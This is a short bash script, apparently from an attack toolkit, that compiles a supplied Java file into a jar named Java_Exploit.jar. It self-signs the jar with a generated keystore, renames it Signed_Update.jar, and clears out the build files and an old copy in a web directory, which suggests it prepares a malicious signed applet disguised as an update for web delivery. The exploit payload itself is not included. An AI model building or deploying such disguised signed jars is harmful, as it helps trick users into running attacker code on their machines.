#!/bin/bash

cp "$1" ./Java.java; javac Java.java && jar vcf Java_Exploit.jar Java.class
if [ ! -e "$PWD/mykeystore" ]; then keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -storepass mystorepass; fi
jarsigner -keystore mykeystore -storepass mystorepass -keypass mykeypass -signedjar Signed_Update.jar Java_Exploit.jar signapplet
rm "$PWD/Java_Exploit.jar"
rm -f ./Java.java
rm -f ./Java.class
if [ -e "$www/Signed_Update.jar" ]; then rm -f "$www/Signed_Update.jar"; fi
